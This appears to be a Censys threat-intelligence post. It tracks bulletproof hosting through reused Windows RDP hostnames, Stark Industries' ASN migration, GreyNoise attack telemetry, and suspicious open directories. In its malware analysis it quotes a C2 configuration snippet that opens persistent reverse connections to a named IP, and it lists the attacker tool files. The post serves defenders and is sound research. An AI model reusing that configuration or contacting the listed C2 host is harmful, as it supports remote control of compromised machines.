Executive Summary:
- Bulletproof hosting enables long-term malicious activity by providing infrastructure that consistently dodges abuse complaints, takedowns, and remediation, making it a key component of the cybercrime supply chain
- Tracking bulletproof hosting has become increasingly difficult as operators move away from monolithic networks and instead distribute infrastructure across reseller ecosystems and mainstream providers, reducing the effectiveness of IP- or ASN-based blocking
- Abuse-tolerant and bulletproof-hosting–adjacent infrastructure can be identified at internet scale by analyzing observable deployment and operational patterns rather than relying on provider attribution
- Reused Windows hostnames, leaked via RDP certificates, are one such deployment artifact that can expose cloned virtual machine templates (“golden images”) that persist even as attackers rotate IP space, ASNs, and upstream providers
- Correlating RDP template reuse with internet-wide scan data and honeypot telemetry surfaces active malicious activity and potential downstream reseller infrastructure
- While these signals enable durable tracking of abuse-tolerant operations, attribution remains inherently uncertain and must be inferred from noisy, indirect evidence rather than ground truth
- Despite attribution challenges, Censys provides sufficient visibility to act now, enabling organizations to operationalize this research by using aggregated Windows hostnames to proactively block risky infrastructure they likely want no contact with
What Is Bulletproof Hosting?
Bulletproof hosting (often abbreviated as BPH) refers to hosting providers that knowingly enable malicious activity and consistently evade abuse complaints and takedown requests.
The operative word here is enable. Bulletproof infrastructure is not always the direct source of malicious traffic, but it plays a critical role in the cybercrime supply chain. Its value to attackers lies in its persistence: BPH environments provide reliable safe havens where tools like phishing kits, malware loaders, command-and-control servers, brute-force infrastructure, and large-scale scanning operations can be staged and maintained over time.
In practice, these classifications are inferred from long-term behavioral patterns rather than definitive proof of intent, but there are many well-known networks that the security community generally agree to fall under the classification of “bulletproof,” or at least “abuse-tolerant”. Providers such as SUNHOST, associated with long-lived phishing and malware distribution infrastructure; Perfect Quality Hosting (PQ Hosting); and Aurologic, historically tied to abuse-tolerant VPS allocations used in crimeware ecosystems, have repeatedly come up in threat actor investigations due to the durability of malicious operations hosted on their networks.
Because this infrastructure underpins so many downstream attacks, law enforcement and defenders have a strong interest in identifying and disrupting it more effectively.
What Is NOT Bulletproof Hosting?
It’s equally important to be clear about what bulletproof hosting is not.
BPH is not the same as:
- legitimate VPS providers whose customers occasionally abuse their services
- residential ISPs with widespread infections of consumer IoT or camera devices
- compromised servers and reverse proxies where the upstream provider actively remediates abuse
The tricky part is that all of these environments can look similar from a scanning perspective. The defining feature of bulletproof hosting is not the specific services running, but the predictable resilience of malicious activity on the network and a documented history of ignoring remediation efforts.
Tracking bulletproof hosting has become increasingly difficult over time. Modern BPH infrastructure is no longer confined to a small number of “monolithic” autonomous systems, which are easy for defenders to just block at scale. Instead, many operators now rely on reseller ecosystems, where large ISPs or VPS providers lease blocks of infrastructure to intermediaries who, in turn, rent them out with fewer restrictions.
By spreading their deployments across mainstream providers and frequently rotating IPs, routes, and ASNs, bulletproof operators more easily blend into otherwise legitimate infrastructure. Traditional network-centric indicators still matter, but they are increasingly noisy in this environment. IP-based blocklisting is a game of whack-a-mole: infrastructure disappears in one place only to reappear elsewhere.
How the Community Infers BPH: Combining Many Signals
There is no single ground-truth dataset of bulletproof hosting providers. Intent is difficult to observe directly on the internet, and attribution is inherently uncertain. Instead, the security community infers BPH through the convergence of technical, behavioral, and longitudinal signals: reusable deployment artifacts, patterns of abuse tolerance, repeated evasion of takedowns, and malicious infrastructure that persists far longer than it should.
Interestingly, some of the specific tactics BPH operators use to evade detection, such as short-lived routing prefixes or aggressive churn, can themselves become detection signals when viewed at internet scale.
| Indicator Type | Scope | Examples: |
| Infrastructure | What can we see in use? | Hostname artifacts: reused custom or templated hostnames Server deployment: identical configs & OS stacksNetwork architecture: Reverse proxy chains |
| Operational Behavior | How does it operate? | Routing/BGP: short-lived prefixes, upstream churnDNS: fast-flux, multiple A records, low-TTL patterns Block recycling: reused IP ranges Abuse handling: systematic non-response WHOIS: falsified or mismatched registration |
| Persistence and Evasion | How does it survive? | Migration: moving ASNs when facing takedownsService continuity: same malware families, templates, customers post-takedownTraffic Longevity: months/years of malicious uptime |
However, in reseller-heavy environments, these indicators can weaken or blur. The signals still exist, but they are harder to interpret in isolation.
This raises a central question: if network placement changes constantly, what artifacts remain stable? While IPs are cheap for large operators to replace, rebuilding tooling, VM images, and provisioning workflows is more expensive and cumbersome – which is why they tend to change less frequently.
This is where Remote Desktop Protocol (RDP) infrastructure becomes particularly useful for studying abuse-tolerant and bulletproof-adjacent operations
Why RDP Is a Useful Technical Artifact
RDP is Microsoft’s remote administration protocol for Windows systems, providing interactive control over a host’s desktop environment. Because it grants deep, persistent access to remote infrastructure, RDP is frequently abused for malicious operations, much like SSH or Telnet. Unlike many other commonly abused services, RDP consistently exposes useful system identifiers: most notably the Windows VM’s hostname.
Attackers deploying templated RDP “cutouts” commonly reuse cloned Windows VM images, which then appear as clusters of identical default hostnames across hosts (for example, WIN-XXXXXXXXXXX) and near-identical TLS stacks replicated across dozens of prefixes. These repeating artifacts expose provisioning lineage regardless of where the infrastructure is hosted.

This pattern is especially prevalent in bulletproof hosting environments, where cloned Windows templates may be reused across hundreds or thousands of hosts.
In this way, exposed RDP can be an x-ray into how bulletproof operations provision their tools and infrastructure. By identifying clusters of homogeneous RDP environments and correlating them with observed malicious activity, we can surface infrastructure ranges that exhibit both commodity tooling and long-term abuse tolerance.
Individually, RDP hostnames are weak, infrastructure-level signals, but when combined with other technical and behavioral indicators, they become a useful mechanism for investigation across highly mobile attacker infrastructure.
Example: Windows Hostname Patterns Reveal Global Ransomware Infrastructure
Here’s an example of how a single reused Windows hostname can be the hook to catch a much larger fish: a larger network of attacker-controlled infrastructure.
In 2023, independent researcher Luca Mella investigated a Russia-based FTP server tied to a LockBit extortion incident. While analyzing the host, they identified an autogenerated Windows hostname: WIN-LIVFRVQFMKO, which stood out as a potential provisioning artifact.

That same hostname was observed reused across 105 additional hosts associated with other malicious activity. Pivoting on this hostname, along with complementary infrastructure indicators, revealed a shared “golden image”: a cloned Windows virtual machine template repeatedly deployed across attacker infrastructure. Following this thread ultimately exposed a global network of roughly 8,000 hosts linked to Conti and LockBit affiliates, all traced back to reuse of that single Windows image.
This case illustrates why reused RDP artifacts matter: a single hostname can unlock visibility into long-lived, globally distributed malicious infrastructure because attackers rely on cloned templates at scale.
Establishing the Baseline: How RDP Is Abused in Known BPH Networks
To establish an understanding of how exposed RDP is used in bulletproof hosting environments, we first consolidated a set of 39 autonomous systems that are widely recognized within the security community as bulletproof-hosting-associated, including historically monolithic providers LIMENET (AS394711) and FlokiNET (AS200651).
Before using RDP artifacts to surface previously unknown infrastructure, we characterized how RDP exposure behaves within these known environments by correlating Censys-observed RDP hosts with GreyNoise honeypot telemetry.
Specifically, we identified RDP-exposed hosts visible in Censys data and then pivoted to GreyNoise to isolate the subset that were concurrently observed interacting with honeypot sensors and labeled as malicious or suspicious, allowing us to ground subsequent analysis in empirically observed attacker behavior.

How Long Does Malicious Behavior Persist?
To first understand how long malicious activity persists across different types of infrastructure, we analyzed GreyNoise telemetry over an 80-day observation window and measured how long individual hosts continued to generate inbound attack traffic after their first observed malicious probe.
We compared persistence across several infrastructure categories: residential ISPs, Mirai botnet hosts, cloud VPS environments, and a curated set of known bulletproof hosting monoliths. For each group, we calculated the median number of days until half of the observed malicious activity dropped off.

Hosts in known BPH monoliths remained active far longer than any other category, with a median persistence of 43 days, compared to 11 days for Mirai-infected hosts, 10 days for cloud VPS instances, and just 6 days for residential ISPs.
Malicious activity originating from bulletproof hosting exhibited a strikingly longer half-life, taking 32 additional days for half of observed activity to drop off compared to the next most durable infrastructure category (Mirai).

When Are Malicious BP RDP Hosts Most Active?
Persistence tells us how long malicious activity lasts; the next question is when that activity is most pronounced. To answer this, we narrowed our focus to malicious traffic observed by GreyNoise originating specifically from RDP-exposed hosts within known bulletproof hosting monoliths over a month and examined its temporal distribution.

Two patterns stand out. First, these hosts generate a consistently high volume of scanning traffic, mostly above 200,000 IPs per day, indicating sustained automated activity rather than sporadic abuse.
Second, activity is not evenly distributed over time. We observe a marked increase in malicious traffic during the final week of the month, which may indicate coordinated campaigns or newly deployed infrastructure coming online. Traffic levels are also significantly higher on weekends than on weekdays, a pattern consistent with attackers taking advantage of reduced defender staffing and response capacity on those days.
What Are They Trying to Achieve? Characterizing Malicious Activity
The next step is understanding what malicious BPH RDP hosts are doing during those periods. To answer this, we analyzed the types of traffic these RDP-exposed hosts generate by examining GreyNoise activity tags and sensor hit volumes.
| Activity Tag | Sensor Hits |
| RDP Crawler & Bruteforce Attempt | 511.7K |
| SOCKS5 Proxy Scanner | 60.1K |
| Androxgh0st | 10.7K |
| Yii Framework Information Disclosure Scanner and Symfony Profiler Debug Mode RCE Attempt | 6.8K |
| Telnet Login Attempt | 4.5K |
| Generic Path Traversal Attempt | 2.7K |
| SSH Connection Attempt | 2.2K |
| Citrix ADC Gateway Login Panel Crawler | 1.6K |
| ConnectWise ScreenConnect Auth Bypass Check and Palo Alto Networks PAN-OS CVE-2020-2034 | 1.0K |
The dominant activity is unsurprising but revealing. RDP crawling and brute-force attempts account for the largest share of traffic by a wide margin, followed by large volumes of SOCKS5 proxy scanning. Together, these patterns strongly align with access-broker and proxy-enablement ecosystems, where attackers seek to acquire and monetize footholds or convert infrastructure into relay points.
Beyond these, we observe consistent scanning for enterprise-facing services and vulnerabilities, including Citrix ADC login panels, ConnectWise ScreenConnect authentication bypass checks, and exploitation attempts against Palo Alto PAN-OS, which are all common entry points for downstream ransomware and intrusion campaigns.
Taken together, this activity profile shows that BPH RDP hosts are not single-purpose assets. They sit at the intersection of multiple attacker objectives: sourcing RDP access for resale, building or expanding proxy and relay infrastructure, and harvesting credentials or exploiting exposed enterprise services. Rather than being tied to one malware family or campaign, these hosts function as flexible, multi-role infrastructure supporting a broader criminal supply chain.
RDP Hostname Use Cases
Now let’s explore a few ways we can investigate BPH operations leveraging RDP hostnames.
Use Case 1: Tracking BP infrastructure migrations
One of the clearest ways RDP hostnames become operationally useful is in tracking large-scale bulletproof hosting migrations between networks.
A defining case from 2025 involves Stark Industries, a well-known bulletproof hosting provider widely linked to pro-Russian influence operations and malicious activity surrounding the war in Ukraine.
Following EU sanctions in May, Stark’s operations did not meaningfully shut down. Instead, the provider quietly shifted its infrastructure to a newly registered autonomous system, rebranded under the service name “THE Hosting” under an entity called “WorkTitans B.V.” in June:

How Did Stark Industries Migrate Their Infrastructure?

From the Censys perspective, the migration is visible in how the size of each network changed over time. As the graph above shows, this was not an abrupt cutover but a gradual transition.
Stark’s original ASN, AS44477, consistently had more than 200,000 hosts through May and June before starting a steady decline in late July – exactly as hosts began appearing in the newly allocated AS209847. Over the next few months, host counts in AS44477 fell sharply while AS209847 grew (albeit at a smaller scale), until AS44477 was fully abandoned by late November.
This pattern illustrates how bulletproof operators dodge sanctions by relocating their operations wholesale. However, as in this case, they often do so while leaving behind measurable infrastructure continuity despite rebranding and network churn.
How do we know it’s the same infrastructure?
The obvious next question here is how we know this is the same infrastructure rather than two unrelated networks. This is where RDP hostnames can provide some signals.
By extracting Windows VM hostnames leaked via RDP from Stark’s original hosts and comparing them to RDP hosts in the new “THE Hosting” ASN, we can break the migration down by hostname template.
When visualized this way, the patterns are striking: as specific hostname templates decline in AS44477, the same templates increase in AS209847, producing near mirror-image curves.

Quantifying the slopes of these increases and decreases shows ratios close to one, indicating simultaneous deprovisioning and reprovisioning.
This isn’t something we’d chalk up to an accident or a coincidence. While hostname reuse alone does not prove host-for-host continuity, it strongly suggests an automated migration in which the same Windows VM templates were redeployed into a new network using scripted provisioning workflows.
| RDP Hostname | Sum of Slopes | Ratio of Magnitudes |
| DESKTOP-2NFCDE2 | -2.79 | 0.82 |
| WIN-LIVFRVQFMKO | -0.72 | 0.89 |
| DESKTOP-GKGI28A | -0.72 | 0.89 |
| DESKTOP-TCRDU4C | -0.63 | 0.91 |
| WIN-BS656MOF35Q | -0.37 | 0.95 |
| WIN-J9D866ESIJ2 | 0.09 | 1.0 |
Use Case 2: Pivoting on RDP Hostnames Across Non-BPH Networks
Having characterized how RDP is abused inside known bulletproof hosting monoliths, we can now broaden the lens. This use case pivots back to Censys internet-wide data to ask a different question: where do RDP deployment patterns associated with known BPH environments reappear in other networks? This does not mean that those other networks are immediately BPH, but can help us identify where tools are reused.
First, let’s look at which templated RDP hostnames observed in monolithic BPH ASNs are associated with the highest volumes of malicious activity in GreyNoise.
| RDP Hostname | Sensor Hits |
| WIN-7N1FIECL6IC | 7754789 |
| WIN-5R0DSV23ED0 | 2674581 |
| WIN-9QL4SDRB93L | 332606 |
| WIN-IK7N6SD2UBU | 65265 |
| WIN-J9D866ESIJ2 | 58556 |
| WIN-HLI0E7RMRRP | 55873 |
| WIN-QPBU6973Q4A | 55261 |
Hostnames such as WIN-7N1FIECL6IC, WIN-5R0DSV23ED0, and WIN-9QL4SDRB93L stand out, generating millions of sensor hits and serving as clear markers of heavily abused, templated Windows deployments. These high-signal templates give us concrete artifacts to track as we move beyond known BPH networks.
We then search for reuse of these same templates in non-BPH ASNs, focusing on several characteristics:
- Auto-generated Windows hostname patterns (for example, WIN-* and DESKTOP-*) that recur across many IPs but only a small number of ASNs
- Reused self-signed certificates.
- Dense /24 prefixes with clusters of ten or more hosts sharing the same hostname template
- Excluding noise like common Linux defaults
These methods help filter out large cloud providers, where we’d see templated hosts widely dispersed across address space, and instead surface smaller downstream networks where reuse and density are less likely to be benign.
To strengthen these infrastructure-level signals, we layer in additional behavioral indicators, including GreyNoise telemetry, the presence of exposed SOCKS or other proxy services, and uniform JA4 TLS fingerprints across large host clusters.
When these factors converge, the result is a shortlist of downstream ASNs to investigate for signs of BPH reseller usage or abuse-tolerant suballocations within otherwise legitimate networks. Individually, hostname reuse, density, or malicious traffic might be weak signals; taken together, they provide actionable investigative leads for uncovering abuse-tolerant infrastructure hiding in plain sight.
Digging into a Potential Attacker-Leveraged Image
When we dig into each of these hostnames in the full Censys dataset, one particular one stands out as a candidate attacker-leveraged template: WIN-J9D866ESIJ2.
Internet-wide, we identified 2,531 hosts exposing RDP with this certificate subject. Of those, 2,162 hosts share an identical JA4TSCAN fingerprint (64000_2-1-3-4-8_1460_0_3-6), indicating a uniform TCP configuration. Roughly half of these hosts expose only a single RDP service on port 3389.

This hostname is found most heavily concentrated in AS209847, which should look familiar – it’s the “THE Hosting” network that Stark Industries migrated their infrastructure to. We also see the same hostname reused across a long tail of mid-sized European and regional providers.

We dig some more in the hosts presenting that WIN-J9D… cert in these networks and find some interesting artifacts showing evidence of malicious behavior.
Very Sus OpenDir #1
Among the most telling findings were a small number of hosts exposing open directories.
First, we found a very suspicious open directory presenting this template in AS205090 (FIRST SERVER) – hosting a C2 persistence channel.


The directory contains what appears to be a complete, self-contained operational toolchain. At its center is a 712 KB executable named bot.exe, which likely executed staged payloads also found in the directory such as bot.bin.enc, inf.bin.enc, and info.bin.enc. Configuration and control appear to be handled through a set of PHP scripts (bot_config.php, alivehosts.php, bstat.php, log.php), making this look like a lightweight C2 framework. While the full scope of the activity is unclear from this host alone, the presence of a dedicated /miner/ directory strongly suggests that cryptomining is at least one component of the overall operation.

service_commandline = -autoreconnect ID:[123] -connect 109.69.58.213:80
SocketConnect=1
HTTPConnect=1
AutoPortSelect=1
KeepAliveInterval=5
This is set up for persistent reverse connections over HTTP on port 80 to the C2 IP 109.69.58[.]213, complete with auto-reconnect and heartbeat settings. This is behavior designed to maintain centralized control even as IPs change and inbound access is restricted.
When we examine what’s running on the C2 IP in Censys, the exposed service stack is pretty consistent with an operator-controlled Windows host rather than a legitimate application server.

We see a mix of protocols commonly abused for post-compromise control and lateral movement: RDP (3389) for interactive access, SMB (445) and NetBIOS (139) for file transfer and host management, and DCERPC (135) for Windows service interaction. Multiple HTTP services are exposed across nonstandard ports (5357, 5985, 47001) and all return 404 or 503, which is consistent with services configured for backend operations.
Very Sus OpenDir #2
Another host, this time in AS204997 (FIRSTBYTE), exposed an open directory on a host plausibly used to control some sort of bruteforce-as-a-service operation.

The file structure shows a PHP-based control system with scripts named brute_work_add.php, brute_work_get.php, brute_work_update.php along with their admin variants. These look like files intended to track brute-force jobs at scale.
This also looks to be a long-running campaign designed to track brute-force jobs at scale. The presence of bruter_done.zip, /bruter_done/, and backup directories indicates operations with job archiving and result collection. Additionally, the technical artifacts in this directory date back to 2022.

What Can We Conclude?
Further investigation is needed to fully characterize this template, but based on what we know so far, the WIN-J9D866ESIJ2 hostname most likely represents an attacker-controlled Windows template. The evidence points to a cloned Windows image that is consistently reused across multiple known bulletproof hosting ASNs and permissive VPS providers.
Several instances are tied to open directories exposing orchestration and management code, which strongly suggests intentional deployment and active operation rather than opportunistic infection.
That said, some ambiguity remains: it’s plausible that this reflects cracked or recycled VPS instances sharing similar characteristics rather than a single centrally managed operation.
What we can say is that the infrastructure shows clear signs of abuse over time; what remains to be established is whether it also demonstrates deliberate resistance to abuse complaints or mitigation attempts, which would more firmly place it under suspicion of bulletproof hosting.
Takeaways
Even with multiple technical and behavioral heuristics, attribution in this space is very challenging.
Abuse tolerance does not automatically imply malicious intent. Reseller ecosystems further blur the picture by allowing multiple, unrelated actors to appear indistinguishable at the network and infrastructure layers. Providers and customers alike can rapidly shift IP space, ASNs, and upstreams, breaking naive assumptions of continuity or ownership.
As a result, the signals discussed here, namely template reuse, density, churn, and persistence, should be understood as indicators of behavior, not definitive proof of control or intent.
Intent cannot be observed directly on the internet; we infer it from noisy, partial signals rather than from any ground-truth dataset, and conclusions must be framed with that uncertainty in mind.
That said, this analysis is still directly actionable. Censys provides the best available visibility into this infrastructure, and that visibility can be used defensively in real time. Regardless of intent, most organizations don’t want to allow traffic from these hosts in the first place. Teams can directly operationalize this research by using aggregated Windows hostnames to create proactive blocklists and reduce their exposure to this evolving infrastructure.
Future Work
We’ve really only scratched the surface here using RDP, and there’s a lot of room to push this approach further.
One obvious next step is to broaden beyond RDP and start tracking templated deployments in other heavily abused protocols. SSH, WinRM, and VPN services also leak configuration fingerprints and would let us follow entire attacker ecosystems rather than just Windows hosts. Also, tying specific template families to specific malware and access-broker ecosystems could continue to turn these repeated deployment patterns into durable toolmarks that remain visible even as attackers continue to migrate their infrastructure.
By shifting focus from where malicious infrastructure lives to how it is built and reused, we gain a more durable way to track abuse-tolerant operations even as attackers continue to adapt to disruption.
References
Thank you to our friends at GreyNoise for access to their data, which made this research possible.

